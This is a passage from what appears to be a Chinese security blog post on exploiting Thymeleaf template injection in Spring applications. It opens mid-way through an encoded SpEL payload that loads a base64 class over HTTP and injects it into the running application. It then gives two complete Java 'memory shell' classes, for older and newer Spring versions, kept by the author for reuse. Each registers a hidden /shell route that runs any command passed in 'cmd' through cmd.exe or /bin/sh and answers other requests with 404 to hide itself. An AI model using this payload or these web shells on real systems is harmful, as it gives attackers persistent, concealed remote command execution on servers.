b24vUmVxdWVzdE1ldGhvZDspVgEABXBhdGhzAQAHQnVpbGRlcgEAXChbTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvJEJ1aWxkZXI7AQBFb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyAQAHb3B0aW9ucwEAnShMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbyRCdWlsZGVyQ29uZmlndXJhdGlvbjspTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8kQnVpbGRlcjsBAAVidWlsZAEAQSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm87AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAPcHJpbnRTdGFja1RyYWNlAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAA8ACwAAAAAAAwABACsALAABAC0AAAAvAAEAAQAAAAUqtwABsQAAAAIALgAAAAYAAQAAAAwALwAAAAwAAQAAAAUAMAAxAAAACQAyADMAAgAtAAABoQAHAAkAAACqEgJMKrYAA00sEgS2AAVOLQS2AAYtKrYAB8AACDoEKrYAAxIJBr0AClkDEgtTWQQSC1NZBRIMU7YADToFGQUEtgAOEg8SEAS9AApZAxIRU7YAEjoGuwATWQO9ABS3ABU6BwS9ABFZAxIWU7gAFxkEuQAYAgC5ABkBADoIGQUqBr0AC1kDGQhTWQS7AA9ZtwAaU1kFGQZTtgAbVxIcTKcAC00stgAeEh9MK7AAAQADAJ0AoAAdAAQALgAAAEYAEQAAAA4AAwAQAAgAEQAPABIAFAATAB4AFQA8ABYAQgAXAFQAGABhABoAewAcAJoAHQCdACEAoAAeAKEAHwClACAAqAAiAC8AAABmAAoACACVADQANQACAA8AjgA2ADcAAwAeAH8AOAA7AAQAPABhADwAPQAFAFQASQA-AD0ABgBhADwAPwBAAAcAewAiAEEAQgAIAKEABwBDAEQAAgAAAKoARQBGAAAAAwCnAEcASAABAEkAAAAMAAEACACVADQASgACAEsAAAATAAL_AKAAAgcATAcATQABBwBOBwBPAAAABQEARQAAAAEAPgBQAAQALQAAAGgABAADAAAAJrsAIFm4ACErtgAitgAjtwAkEiW2ACa2ACdNuwAoWSyyACm3ACqwAAAAAgAuAAAACgACAAAAJgAaACcALwAAACAAAwAAACYAMAAxAAAAAAAmAFEASAABABoADABSAEgAAgBTAAAABAABAFQATwAAAAUBAFEAAABVAAAADAEAAQBWAAEAV3MAUQACAFgAAAACAFkAOgAAABIAAgAIAGEAOQAJAG8AYQCVBgk=%22),nEw%20javax.management.loading.MLet(NeW%20java.net.URL(%22http%22,%22127.0.0.1%22,%221.txt%22),T%20(java.lang.Thread).currentThread().getContextClassLoader())).doInject(T%20(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute(%22org.springframework.web.servlet.DispatcherServlet.CONTEXT%22,0).getBean(T%20(Class).forName(%22org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping%22)))%7D__::main.x

image-20241215001523048

然后访问/shell路由cmd传参即可

image-20241215001604905

spring内存马

这里顺便把文章的内存马记录一下,以后方便用

<2.6.0

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InjectToController extends AbstractTranslet {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 2. 通过反射获得自定义 controller 中test的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = InjectToController.class.getMethod("test");
// 3. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 5. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,加入"aaa"参数是为了触发第二个构造函数避免无限循环
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
// 第二个构造函数
public InjectToController(String aaa) {}

// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();

//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
}

>=2.6.0

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class InjectToController2 extends AbstractTranslet {
public InjectToController2() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController2.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
InjectToController2 springControllerMemShell = new InjectToController2("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception e) {

}
}

public InjectToController2(String aaa) {
}

public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
} else {
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next() : o;
c.close();
writer.write(o);
writer.flush();
writer.close();
} else {
response.sendError(404);
}
} catch (Exception e) {
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

参考

https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.htm

https://cn-sec.com/archives/3118198.html

https://forum.butian.net/share/1922

https://xz.aliyun.com/t/11688?time__1311=Cq0xRQKQq7qmqGNDQiiQqPGI3oLfObQWa4D

http://www.bmth666.cn/2022/09/27/Spring%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/index.html